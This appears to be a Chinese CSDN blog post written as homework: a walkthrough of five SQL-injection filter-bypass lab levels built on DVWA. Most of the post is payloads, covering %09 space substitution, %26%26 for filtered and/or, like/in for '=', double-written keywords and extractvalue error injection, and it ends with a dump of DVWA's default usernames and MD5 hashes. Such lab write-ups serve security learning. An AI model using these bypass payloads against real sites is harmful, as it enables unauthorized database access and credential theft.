sql-bypass通关笔记(作业)

本文详细介绍了如何在DVWA靶场环境中进行PHP开发,并通过实例展示了空格过滤、字符型和单引号注入、过滤检测、联合注入等SQL注入技巧,包括利用and/or关键字绕过过滤和获取数据库信息的过程。
摘要由CSDN通过智能技术生成

靶场环境的搭建:

  • 首先安装dvwa靶场;因为要用到dvwa的数据库
  • 然后将该靶场放到phpstudy的www目录下
  • 创建一个网站指向该文件夹
  • 通过访问文件夹中php文件的形式进行闯关
  • 具体压缩包我放到最后的资料里了

index1.php通关笔记

知识点:

  • 空格过滤  #过滤

首先判断注入类型

构造payload:id=1/0

有回显,没报错,说明是字符型注入

判断绕过手段

构造payload:id=1'和payload:1''

发现回显有差别;说明是单引号读取输入,是否有括号还不清楚

尝试利用万能密码测试

构造payload:id=1'and+1=1--+

发现出现了提示,说明有过滤,但是不知道是什么过滤

通过单个符号和关键字的输入测试出对空格进行了过滤;采用%09代替空格

构造payload:id=1'and%091=1--%09

成功回显出了有效内容,由于错误没有任何回显信息,所以这里不能用错误注入

尝试进行联合注入,首先判断字段数

构造payload:id=1'order%09by%098--%09

构造payload:id=1'order%09by%099--%09

发现页面回显出现了变化,说明字段数为8

进行联合注入

构造payload:id=0'union%09select%091,2,3,4,5,6,7,8%09--%09

输入内容成功回显到了页面上,4和5的位置

好了,可以利用联合注入获取数据库信息了

构造payload:id=0'union%09select%091,2,3,database(),version(),6,7,8%09--%09

好了,到这里就收工了;想要获取其他信息可以自己尝试,之前做过很多遍了,这里就不往下演示了

index2.php通关笔记

知识点:

  • and or 关键字过滤
  • || &&进行代替
  • like 函数名 == and效果

通过不断的测试发现这里是and or 关键字过滤

前面的步骤就不再演示了,直接出绕过的payload

构造payload:id=0%27union%20select%201,2,3,4,5,6,7,8--+

页面成功回显出了输入的信息

利用联合注入来获取数据库关键信息

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8--+

成功获取了数据库民和版本信息

index3.php通关笔记

知识点:

  • = 过滤
  • 利用 > < like in 等代替
  • 这里不要用and,用or进行判断;and这里有问题,具体不知道怎么回事,判断条件会失效

通过测试发现是=过滤;尝试用其他符号代替

构造payload:id= 0'or 1 in (1) --+

构造payload:id= 0'or 3>1 --+

构造payload:id= 0'or 1 like 1 --+

成功获取到了回显内容;

测试发现只有=被过滤了,可以使用联合注入

构造payload:id=0%27%20union%20select%201,2,3,4,5,6,7,8%20--+

页面成功回显

获取数据库信息

构造payload:id=0%27%20union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取到了数据库名和版本信息

index4.php通关笔记

知识点:

  • and or 关键字过滤;%26%26 || 代替
  • 错误注入
  • 联合注入

通过测试发现这里有完整的错误回显,并且对and or关键字进行了过滤;好了使用&& || 进行代替就好了,不过这里不能直接用&&,需要进行url编码 %26%26

利用错误注入获取数据库名

构造payload:id=1%27%26%26%20extractvalue(1,concat(0x7e,database(),0x7e))=1%20--+

成功获取了数据库名

利用联合注入来获取数据库名

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

index5.php通关笔记

知识点:

  • and or 过滤
    • || &&绕过
      • 使用&&时需要进行url编码 --> %26%26
    • 双写绕过 
      • 针对 information -->infoorrmation
      • password  ---> passwoorrd
  • = in 过滤
    • like 绕过
  • select 过滤  只过滤select+空格
    • 这里可以利用 select%09绕过
  • union 过滤
    • 这里可以利用双写绕过
  • from 过滤
    • 这里可以使用双写绕过
  • database 关键字过滤
    • 可以利用schema()代替获取数据库名
  • user 关键字过滤
    • 使用双写绕过
    • users --->ususerers
  • 可以利用联合注入;也可以利用错误注入
    • 联合注入payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+
    • 错误注入payload:id=0%27||extractvalue(1,concat(0x7e,schema(),0x7e))%20like%201--+
  • 这里使用联合注入演示完整过程;错误注入一样的,联合注入更方便
  • 最后需要对拼接到一起的字段名进行hex编码输出;不编码的话会报错
    • Illegal mix of collations for operation 'UNION'
    • 出现该错误原因在于information_schema数据库中的信息和dvwa数据库使用的编码格式不同;所以使用十六进制进行输出保险
  • 这一关含金量太高了,花的时间太多了,不过不断的进行测试然后找到绕过方法的过程很爽

通过不断的测试知道了这关的过滤条件;下面利用联合注入进行演示

构造payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

获取数据库的表名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09%20hex(group_concat(table_name))%09frfromom%09infoorrmation_schema.tables%09where%09table_schema%20like%20%27dvwa%27%20),version(),6,7,8%20--+

得到了hex输出:6775657374626F6F6B2C7573657273

解码后为:guestbook,users

得到了两个表名;发现了重要的用户信息

接下来获取users表中的字段名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(column_name)))%09frfromom%09infoorrmation_schema.columns%09where%09table_schema%20like%20%27dvwa%27%09%26%26%09table_name%20like%20%27ususerers%27%20%20),version(),6,7,8%20--+

得到了hex编码的字符串:757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E

进行解码获取到了所有字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

下面可以获取用户名和密码信息

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(ususerer,%27:%27,passwoorrd)))%09frfromom%09dvwa.ususerers%20),version(),6,7,8%20--+

成功获取了用户名和密码信息的hex编码

显示的hex编码为:61646D696E3A38363333663362393932663565646161346461656133373938323636653437372C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939

解码之后出现了具体数据

admin:8633f3b992f5edaa4daea3798266e477,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99

这样就获取到了用户名和密码信息

终于搞完了,收工

10

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值